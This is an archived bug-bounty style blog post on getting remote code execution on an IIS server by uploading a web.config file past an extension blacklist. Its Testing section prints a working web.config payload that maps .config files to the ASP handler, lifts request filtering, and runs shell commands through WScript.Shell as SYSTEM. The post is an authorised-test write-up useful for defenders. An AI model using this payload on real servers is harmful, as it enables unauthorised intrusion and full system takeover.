---
type: Article
title: RCE by uploading a web.config
description: Where an IIS upload filter blocks executable extensions such as .asp and .aspx, uploading a web.config instead is allowed. That file registers an ISAPI handler for .config and removes the request-filtering entries that hide it, so the uploaded config executes the ASP embedded in its own comments, yielding remote code execution as nt authority system.
resource: "https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/"
tags: [article, webseclist-reference, en, 003random-s-blog, file-upload, rce, filter-bypass, aspnet, dotnet, case-study, bug-bounty, owasp-a05-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-09T10:26:07+00:00"
status: stable
stale_after: 2027-08-09
sources:
  - id: original
    resource: "https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/"
    title: RCE by uploading a web.config
    author: 003random
    last_modified: 2018-05-22
  - id: capture
    resource: "https://web.archive.org/web/20180703063521/https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/"
also_at: []
authors:
  - 003random
canonical_url: ""
cited_by:
  - "2018.md:22"
commit: ""
content_sha256: fbce5699d7eaa86f9cc4b94138cbfd6269e81ea126b3556eae9cc25e00151562
depth: full
depth_reason: default
kind: article
language: en
licence: unknown
original_url: "https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/"
published: 2018-05-22
publisher: "003Random's Blog"
publisher_english: ""
raw_sha256: 43d1fb38ee8b27bf6d6922095bfd1f3f002e23a86a0c5dc116891512823275ef
retrieved_from: "https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/"
retrieved_kind: stored
retrieved_utc: "2026-08-09T10:26:07+00:00"
slug: 2018-003random-s-blog-rce-uploading-web-config
snapshot: 20180703063521
title_english: ""
translation_file: ""
translation_of: ""
---

# RCE by uploading a web.config

**RCE by uploading a web.config** - 003random, 003Random's Blog.

- Published: 2018-05-22
- Original: <https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/>
- Preserved from: https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/ (stored) on 2026-08-09
- Capture timestamp: 20180703063521
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

## TL;DR

By uploading a web.config I was able to bypass the blacklist, which blocks files with an executable extension (such as ‘.asp’ and ‘.aspx’).
 After setting execution rights to ‘.config’ and then adding asp code in the web.config I was able to execute code.

## General

Since I’ve had some spare time during my internship on school, I started testing my school environment, after gaining permission.
 After doing some simple recon I stumbled upon a file upload.
 From the recon I had done, I knew the server was an IIS server. I usually test this by browsing to /<>.
 Since ASP.NET has the XSS filter on by default, it returned the following:

![](https://i2.wp.com/poc-server.com/blog/wp-content/uploads/2018/05/Untitled.png?resize=300%2C129&ssl=1)
 `
 Server Error in '/' Application.
 A potentially dangerous Request.Path value was detected from the client (<).
 `

—————————————————————————————
 *On the bottom of this page is usually the Microsoft .NET Framework Version and the ASP.NET Version.*
 After seeing the following header as well:
 `Server: Microsoft-IIS/8.5`
 I knew I was dealing with an Microsoft IIS server.

## Testing

Knowing this, I started to test for unrestricted file upload.
 After trying to upload a test file with some basic extensions like ‘.aspx’, ‘.asp’ and ‘.asmx’, I kept getting the error message
 `Description: Upload failed - Access Denied. User 1523151 does not have permissions to add content package to folder with ID 56424856`
 So I had to be a bit more creative. Since I’ve been programming asp.net website for a couple of years, I knew quite some files that were being used, but after trying a lot of extensions that have got execution rights, I thought I had had them all.
 Then I was trying to think of other options. What if I could upload a file that normally contains things like metadata and other stuff about the application?
 So I thought of the ‘.htaccess’ file, but since this is a windows server I quickly realized I hadn’t tried to upload a web.config file.

### Web.config

What is a web.config file?

A web.config file lets you customize the way your site or a specific directory on your site behaves. For example, if you place a web.config file in your root directory, it will affect your entire site. If you place it in a /content directory, it will only affect that directory.

With a web.config file, you can control:

- Database connection strings.
- Error behavior.
- Security.

web.config files are XML documents. ‘.config’ is not an extension like ‘.html’ or ‘.txt’.

So, continuing where I was. I quickly tried uploading a web.config file, and to my surprise; No error popped up and the file was shown in the directory. \0/
 So that worked…
 Now lets see what I can do with it. So after googling a bit, I found an [article ](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)from Soroush;
 This had some example code in it to actually execute code from the web.config. (Thanks Soroush!)
 After modifying it a bit to execute a cmd command, it became:

<?xml version=”1.0″ encoding=”UTF-8″?><br /> <configuration><br /> <system.webServer><br /> <handlers accessPolicy=”Read, Script, Write”><br /> <add name=”web_config” path=”*.config” verb=”*” modules=”IsapiModule” scriptProcessor=”%windir%\system32\inetsrv\asp.dll” resourceType=”Unspecified” requireAccess=”Write” preCondition=”bitness64″ /><br /> </handlers><br /> <security><br /> <requestFiltering><br /> <fileExtensions><br /> <remove fileExtension=”.config” /><br /> </fileExtensions><br /> <hiddenSegments><br /> <remove segment=”web.config” /><br /> </hiddenSegments><br /> </requestFiltering><br /> </security><br /> </system.webServer><br /> <appSettings><br /> </appSettings><br /> </configuration><br /> <!– <% Response.write(“-“&”->”)<br /> Response.write(“</p> <pre>”)</p> <p>Set wShell1 = CreateObject(“WScript.Shell”) Set cmd1 = wShell1.Exec(“whoami”) output1 = cmd1.StdOut.Readall() set cmd1 = nothing: Set wShell1 = nothing</p> <p>Response.write(output1) Response.write(“</pre> <p><!-“&”-“) %><br /> –><br />

This adds a handler that gives the web.config read, script and write permissions.
 Then we add asp code inside the <% %> and write a couple of HTML comments to make sure the browser doesn’t see it as XML anymore.
 When uploading this and browsing to the file the ‘whoami’ command gets executed and outputs ‘nt authority\system’.
 Success!
 We actually got RCE.

After this, I made a report of it and reported it to the right people.
